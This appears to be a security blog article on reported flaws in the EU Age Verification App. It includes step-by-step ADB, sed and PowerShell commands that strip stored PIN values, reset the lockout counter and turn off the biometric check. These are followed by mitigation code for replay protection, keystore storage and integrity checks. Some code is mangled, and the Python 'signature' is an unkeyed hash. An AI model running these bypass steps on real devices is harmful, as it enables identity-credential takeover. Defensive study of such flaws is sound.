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Introduction:
The European Commission’s newly launched Digital Age Verification App, unveiled on April 14, 2026, was designed to protect minors from harmful online content while preserving user privacy through open-source transparency. However, within hours of its release, security consultant Paul Moore demonstrated a full authentication bypass in under two minutes, exposing severe cryptographic and architectural flaws that allow attackers to hijack identity credentials with trivial effort.
Learning Objectives:
- Understand the fundamental cryptographic flaws that enabled a two-minute bypass of the EU Age Verification App
- Learn to identify and exploit client-side authentication weaknesses in mobile applications
- Implement secure local storage practices and anti-tampering mechanisms to prevent similar vulnerabilities
You Should Know:
- PIN Encryption: The Illusion of Security That Fooled the EU
The EU Age Verification App suffered from a fundamental misunderstanding of client-side security. During setup, users are prompted to create a PIN. The app then encrypts this PIN using AES-GCM and stores it in a local configuration file called `shared_prefs` on the user’s device. The critical architectural flaw is that this encrypted PIN is not cryptographically tied to the identity vault that holds the actual verification credentials. The encryption itself serves no meaningful security purpose given its editable nature. This disconnect between the credential and the vault allows an attacker with physical access to the device to delete the `PinEnc` and `PinIV` values from the `shared_prefs` file, restart the app, and enter a new PIN of their choice. The app then presents credentials from the original verified identity profile as valid under the attacker’s new PIN, effectively enabling identity theft without triggering any alerts.
Step‑by‑step guide to exploit this weakness (for educational and defensive purposes only):
Linux/Android (with root access or debugging enabled):
1. Connect to the device via ADB adb shell <ol> <li>Navigate to the app's shared preferences directory cd /data/data/[app.package.name]/shared_prefs</p></li> <li><p>List configuration files ls -la</p></li> <li><p>View the encrypted PIN values cat eudi-wallet.xml</p></li> <li><p>Remove the encrypted PIN entries sed -i '/PinEnc/d' eudi-wallet.xml sed -i '/PinIV/d' eudi-wallet.xml</p></li> <li><p>Restart the app and set a new PIN adb shell am force-stop [app.package.name] adb shell monkey -p [app.package.name] 1
Windows (using ADB):
1. Ensure ADB is installed and device is connected adb devices <ol> <li>Access shell and navigate to shared_prefs adb shell cd /data/data/[app.package.name]/shared_prefs</p></li> <li><p>Use grep to find PIN entries grep -E "PinEnc|PinIV" eudi-wallet.xml</p></li> <li><p>Delete the file containing PIN data rm eudi-wallet.xml</p></li> <li><p>Force stop and relaunch the app adb shell am force-stop [app.package.name] adb shell am start -n [app.package.name]/.MainActivity
What this does: This bypasses the authentication mechanism entirely by removing the stored PIN values, causing the app to revert to a state where it accepts any new PIN while maintaining access to previously verified identity credentials. The attack works because the PIN is stored client-side without cryptographic binding to the identity data.
- Rate Limiting and Biometric Bypass: When Client-Side Controls Become Meaningless
Beyond the PIN vulnerability, the app contained two additional weaknesses stored within the same editable configuration file. The brute-force protection mechanism was implemented as a simple incrementing counter in the `shared_prefs` file. An attacker can reset this value to zero, enabling unlimited PIN guessing attempts with no lockout. Even more alarming, the biometric authentication was controlled by a boolean flag labeled UseBiometricAuth. Setting this value to `false` completely skips the biometric verification step, removing an entire layer of authentication. This demonstrates a catastrophic failure in threat modeling: all security controls were placed client-side, where any user with file system access can modify them at will.
Step‑by‑step guide for rate limiting bypass:
Linux/Android:
1. After failed PIN attempts cause lockout, access the app's data directory adb shell cd /data/data/[app.package.name]/shared_prefs <ol> <li>Locate the rate limiting counter grep -i "attempt|counter|lockout" .xml</p></li> <li><p>Reset the counter to zero Using sed to modify XML values sed -i 's/failedAttempts>[0-9]</failedAttempts>0</g' eudi-wallet.xml</p></li> <li><p>Verify the modification cat eudi-wallet.xml | grep failedAttempts</p></li> <li><p>Restart the app and resume PIN guessing adb shell am force-stop [app.package.name]
Windows (PowerShell with ADB):
1. Pull the configuration file to local machine adb pull /data/data/[app.package.name]/shared_prefs/eudi-wallet.xml C:\temp\ <ol> <li>Modify the counter value using PowerShell (Get-Content C:\temp\eudi-wallet.xml) -replace 'counterValue>\d+', 'counterValue>0' | Set-Content C:\temp\eudi-wallet.xml</p></li> <li><p>Push the modified file back adb push C:\temp\eudi-wallet.xml /data/data/[app.package.name]/shared_prefs/</p></li> <li><p>Restart the app adb shell am force-stop [app.package.name]
Biometric authentication bypass:
1. Locate the biometric configuration flag adb shell cd /data/data/[app.package.name]/shared_prefs grep -i "biometric|fingerprint|UseBiometricAuth" .xml <ol> <li>Change the boolean value from true to false sed -i 's/UseBiometricAuth" value="true"/UseBiometricAuth" value="false"/g' eudi-wallet.xml</p></li> <li><p>The app will no longer require biometric verification
What this does: These modifications disable all client-side security controls. The rate limiting counter reset allows unlimited PIN guessing attempts without triggering account lockout. Disabling the biometric flag removes the second authentication factor, reducing security to a single weak PIN that can be brute-forced or bypassed entirely.
- Replay Attacks and Verification Token Theft: When Trust Is Misplaced
The security consultant also demonstrated that the system could be bypassed without using the official app at all. By replicating the app’s logic in a browser extension, he generated valid verification responses that relying services would accept. The extension detects QR codes in verification flows and returns forged payloads indicating the user is over 18. This points to a broader design flaw where verification tokens are trusted without being securely bound to a device or identity. The tokens lack cryptographic binding to the requesting context, enabling replay attacks where captured verification responses can be reused across different sessions or devices. Strengthening this link would require persistent identifiers, potentially undermining the app’s privacy goals—a classic security versus privacy trade-off that was poorly navigated.
Step‑by‑step guide to understand and mitigate replay attacks:
Server-side mitigation using nonce and timestamp (Python/Flask example):
import hashlib
import time
import redis
from flask import Flask, request, jsonify
app = Flask(<strong>name</strong>)
redis_client = redis.Redis(host='localhost', port=6379, db=0)
def verify_request(data, signature, timestamp, nonce):
Check timestamp validity (5-minute window)
current_time = int(time.time())
if abs(current_time - int(timestamp)) > 300:
return False, "Request expired"
Verify nonce hasn't been used before
if redis_client.exists(f"nonce:{nonce}"):
return False, "Replay attack detected"
Store nonce with expiration
redis_client.setex(f"nonce:{nonce}", 3600, "used")
Verify signature (simplified)
expected_sig = hashlib.sha256(f"{data}{timestamp}{nonce}".encode()).hexdigest()
if signature != expected_sig:
return False, "Invalid signature"
return True, "Verified"
@app.route('/verify-age', methods=['POST'])
def verify_age():
data = request.json
signature = request.headers.get('X-Signature')
timestamp = request.headers.get('X-Timestamp')
nonce = request.headers.get('X-Nonce')
valid, message = verify_request(data, signature, timestamp, nonce)
if not valid:
return jsonify({"error": message}), 401
Process age verification
return jsonify({"verified": True, "age": "18+"})
Windows PowerShell script to detect replay attempts in logs:
Monitor Security Event Log for replay attack indicators
Get-WinEvent -LogName Security | Where-Object {
$<em>.Id -eq 4624 -or $</em>.Id -eq 4625
} | ForEach-Object {
$xml = [bash]$<em>.ToXml()
$loginType = $xml.Event.EventData.Data | Where-Object { $</em>.Name -eq "LogonType" } | Select-Object -ExpandProperty 'text'
$ipAddress = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "IpAddress" } | Select-Object -ExpandProperty 'text'
Flag multiple identical logins within short time window
Write-Host "Logon Type: $loginType, Source IP: $ipAddress"
}
What this does: The server-side mitigation uses a combination of timestamp validation (to reject expired requests), nonce tracking (to prevent replay of the same request), and cryptographic signatures (to ensure integrity). The Windows script helps identify potential replay attacks by analyzing authentication logs for suspicious patterns.
- Biometric Data Exposure: When Privacy Promises Are Broken
The app claimed to store no personal data, but the reality was far worse. Facial images extracted from NFC-enabled identity documents (DG2 data) are written to disk as unencrypted PNG files and only deleted if verification completes successfully. If the process fails or is interrupted, the images may remain on the device. More concerningly, selfie images used for verification are written to external storage and are never deleted, resulting in long-term storage of sensitive biometric data. These findings appear to contradict the app’s privacy claims and may raise compliance concerns under the GDPR, which classifies biometric data as highly sensitive.
Linux command to check for exposed biometric data:
Search for unencrypted PNG files in app directories adb shell find /data/data/[app.package.name] -name ".png" -type f Check file permissions adb shell ls -la /storage/emulated/0/Android/data/[app.package.name]/files/ Examine image metadata adb pull /storage/emulated/0/Android/data/[app.package.name]/files/selfie.png file selfie.png identify -verbose selfie.png Use OpenSSL to verify if files are actually encrypted openssl enc -aes-256-cbc -d -in selfie.png -out decrypted.png -pass pass:dummy 2>/dev/null || echo "File is not encrypted"
Windows command to check for exposed data:
Pull app data using ADB adb pull /sdcard/Android/data/[app.package.name]/files/ C:\forensics\ Check for image files dir C:\forensics.png /s Use Windows built-in tools to examine file signatures certutil -hashfile C:\forensics\selfie.png MD5
What this does: These commands locate and analyze biometric data stored insecurely on the device. The OpenSSL test attempts to decrypt files with a dummy key; if the file opens successfully or reveals image data, it indicates the file was not properly encrypted.
- Cloud and API Security Hardening: Learning from EU’s Mistakes
The EU Age Verification App was built as a prototype for the broader European Digital Identity Wallet ecosystem, making these vulnerabilities particularly significant for critical national infrastructure. Six EU member states, including France, Spain, and Denmark, are currently in pilot phases of the app. The lessons learned from this failure must inform API security and cloud hardening practices. Verification tokens must be cryptographically bound to both the device and the user session, not stored in client-editable locations. Rate limiting and authentication controls must be enforced server-side, not delegated to client-side flags. Biometric data must never be written to persistent storage unencrypted, and if temporary storage is necessary, it must be securely wiped after use.
API security hardening with nonce and timestamp (Node.js example):
const crypto = require('crypto');
const redis = require('redis');
const client = redis.createClient();
function validateRequest(req, res, next) {
const { timestamp, nonce, signature } = req.headers;
const body = JSON.stringify(req.body);
// Check timestamp within 5-minute window
const now = Math.floor(Date.now() / 1000);
if (Math.abs(now - parseInt(timestamp)) > 300) {
return res.status(401).json({ error: 'Request expired' });
}
// Verify nonce hasn't been used
client.get(<code>nonce:${nonce}</code>, (err, reply) => {
if (reply) {
return res.status(401).json({ error: 'Replay attack detected' });
}
// Store nonce with 1-hour expiration
client.setex(<code>nonce:${nonce}</code>, 3600, 'used');
// Verify signature
const expectedSig = crypto
.createHmac('sha256', process.env.API_SECRET)
.update(<code>${body}${timestamp}${nonce}</code>)
.digest('hex');
if (signature !== expectedSig) {
return res.status(401).json({ error: 'Invalid signature' });
}
next();
});
}
Android secure storage using Keystore system (Kotlin):
import android.security.keystore.KeyGenParameterSpec
import android.security.keystore.KeyProperties
import java.security.KeyStore
import javax.crypto.KeyGenerator
import javax.crypto.Cipher
class SecureStorageManager(context: Context) {
private val keyStore = KeyStore.getInstance("AndroidKeyStore").apply { load(null) }
fun generateKey(keyAlias: String) {
if (!keyStore.containsAlias(keyAlias)) {
val keyGenerator = KeyGenerator.getInstance(
KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore"
)
keyGenerator.init(
KeyGenParameterSpec.Builder(keyAlias, KeyProperties.PURPOSE_ENCRYPT or KeyProperties.PURPOSE_DECRYPT)
.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
.setUserAuthenticationRequired(true) // Require biometric auth
.build()
)
keyGenerator.generateKey()
}
}
fun encryptData(keyAlias: String, data: String): ByteArray {
val key = keyStore.getKey(keyAlias, null)
val cipher = Cipher.getInstance("AES/GCM/NoPadding")
cipher.init(Cipher.ENCRYPT_MODE, key)
return cipher.doFinal(data.toByteArray())
}
}
What this does: The API example implements server-side replay attack prevention using nonce tracking in Redis and cryptographic signatures. The Android Keystore example stores encryption keys in hardware-backed security, requiring biometric authentication for decryption operations and ensuring sensitive data never leaves the device in plaintext.
6. Vulnerability Exploitation and Mitigation Framework
The EU Age Verification App vulnerability chain can be mapped to multiple OWASP categories. The client-side storage of sensitive authentication data violates OWASP MASVS-STORAGE requirements for secure data-at-rest protection. The lack of cryptographic binding between the PIN and identity vault represents a failure in MASVS-CRYPTO controls. The ability to modify configuration files without detection indicates missing MASVS-RESILIENCE anti-tampering mechanisms. Proper mitigation requires implementing certificate pinning, runtime integrity checks, and server-side enforcement of all security controls.
Linux command to implement integrity checking:
Generate HMAC signature for app configuration files
Store the secret key in Android Keystore, not in the app
On server side (key generation)
openssl rand -base64 32 > config_key.bin
Generate HMAC for configuration file
openssl dgst -sha256 -hmac "$(cat config_key.bin)" eudi-wallet.xml | awk '{print $2}' > config.sig
On client side (verification)
computed_sig=$(openssl dgst -sha256 -hmac "$SECRET_KEY" eudi-wallet.xml | awk '{print $2}')
stored_sig=$(cat config.sig)
if [ "$computed_sig" != "$stored_sig" ]; then
echo "Configuration tampering detected!"
exit 1
fi
Windows PowerShell for integrity checking:
Generate HMAC-SHA256 using .NET cryptography
$secretKey = [System.Text.Encoding]::UTF8.GetBytes("your-secret-key-from-keystore")
$fileContent = [System.IO.File]::ReadAllBytes("C:\app\config.xml")
$hmac = New-Object System.Security.Cryptography.HMACSHA256
$hmac.Key = $secretKey
$signature = $hmac.ComputeHash($fileContent)
$storedSignature = [System.IO.File]::ReadAllBytes("C:\app\config.sig")
if (-not [System.Linq.Enumerable]::SequenceEqual($signature, $storedSignature)) {
Write-Host "SECURITY ALERT: Configuration file has been tampered with!" -ForegroundColor Red
exit 1
}
What this does: These scripts generate cryptographic signatures for configuration files using HMAC-SHA256. Any unauthorized modification to the configuration will cause the signature verification to fail, alerting the application to tampering attempts.
What Undercode Say:
- Never trust client-side security controls. The EU app placed PIN encryption, rate limiting, and biometric flags entirely on the client, making them trivially bypassable. All authentication and authorization decisions must be enforced server-side.
-
Cryptographic binding is non-negotiable. The failure to cryptographically tie the PIN to the identity vault allowed PIN reset without losing credentials. Any authentication mechanism must ensure that credentials cannot be separated from the data they protect.
-
Open source is not a security guarantee. While transparency helps identify vulnerabilities, the EU app’s open-source nature revealed amateur-hour mistakes that should never have made it past basic security review. The app was built as a prototype for the European Digital Identity Wallet, making these flaws a preview of potential systemic risks for critical infrastructure across six EU member states currently in pilot phases. The European Commission has not yet issued an official patch or public response to the disclosed vulnerabilities as of April 17, 2026.
Prediction:
The EU Age Verification App breach in under two minutes will serve as a landmark case study in digital identity security failures. As the European Digital Identity Wallet (EUDI) ecosystem rolls out across member states by late 2026, this incident has already eroded public trust in government-backed identity solutions. Expect immediate consequences: delayed eIDAS 2.0 implementation, mandatory security audits for all EU digital wallet components, and potential GDPR enforcement actions if biometric data exposure is confirmed. The architectural flaws documented—PIN encryption not tied to identity vaults, client-side security flags, and unencrypted biometric storage—reflect systemic design problems that likely exist in other EU digital identity components. Organizations building identity solutions must learn from this failure: security cannot be an afterthought, and client-side controls provide no real protection against determined attackers. The most concerning prediction comes from Moore himself, who warned that “this product will be the catalyst for an enormous breach at some point—it’s just a matter of time”.
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